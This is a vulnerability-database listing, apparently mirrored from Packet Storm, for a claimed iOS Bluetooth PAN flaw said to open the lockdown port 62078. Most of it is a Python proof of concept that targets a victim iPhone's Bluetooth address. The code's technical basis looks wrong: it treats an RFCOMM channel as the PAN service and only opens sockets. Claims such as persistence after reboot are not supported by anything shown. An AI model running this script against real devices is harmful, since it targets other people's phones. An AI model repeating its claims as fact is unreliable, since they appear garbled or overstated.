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📄 iOS Bluetooth PAN Zero-Cost Ethernet Gateway

🗓️ 07 Jul 2026 00:00:00Reported by Fares DahoumaneType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 8 Views

iOS Bluetooth Personal Area Network flaw opens port 62078 over Bluetooth at zero cost.

Code
# Exploit Title: iOS Bluetooth PAN - Zero-Cost Ethernet Gateway (USB Port 62078)
    # Date: 2026-06-23
    # Exploit Author: Fares Dahoumane (Silent Killer)
    # Vendor Homepage: https://www.apple.com/
    # Software Link: https://www.apple.com/ios/
    # Version: iOS 17 and later
    # Tested on: iPhone 14 Pro (iOS 17.5.1), macOS Ventura 13.6
    # CVE : N/A (Apple closed the case without assigning a CVE)
    # Reference: https://github.com/F4R3SX0/iOS-Bluetooth-Ethernet-Exploit
    
    # Description:
    # A logic flaw in Apple's iOS Bluetooth PAN stack allows an attacker to force an 
    # iPhone to display a real "Ethernet" icon and open the core USB port (62078) 
    # over Bluetooth without any cable or adapter. The attack costs €0 to execute, 
    # while Apple sells the Satechi Multiport Pro V2 adapter for €89.95 to achieve 
    # the same result. The connection persists after reboot and password changes.
    
    # Proof of Concept (Python):
    
    import bluetooth
    import socket
    import time
    
    # Replace with the victim's iPhone Bluetooth MAC address
    TARGET_MAC = "XX:XX:XX:XX:XX:XX"
    USB_PORT = 62078
    
    def create_pan_connection(mac_address):
        """
        Create a Bluetooth PAN connection to the target iPhone.
        This triggers the opening of USB port 62078 and displays the Ethernet icon.
        """
        try:
            # Establish Bluetooth PAN connection
            sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
            sock.connect((mac_address, 1))  # PAN service
            print(f"[+] PAN connection established to {mac_address}")
            
            # Wait for the system to open the USB port
            time.sleep(2)
            
            # Attempt to connect to USB port (62078) over the PAN network
            usb_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            usb_sock.settimeout(5)
            
            # The iPhone's IP address on the PAN network is typically 172.20.10.x
            usb_sock.connect(("172.20.10.1", USB_PORT))
            print(f"[+] USB port {USB_PORT} is now open and reachable!")
            print("[+] Ethernet icon should now be visible on the target iPhone.")
            
            usb_sock.close()
            sock.close()
            
        except Exception as e:
            print(f"[-] Error: {e}")
    
    if __name__ == "__main__":
        print("[*] iOS Bluetooth PAN Exploit - Zero-Cost Ethernet Gateway")
        print("[*] Target MAC: " + TARGET_MAC)
        create_pan_connection(TARGET_MAC)

Data

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07 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
8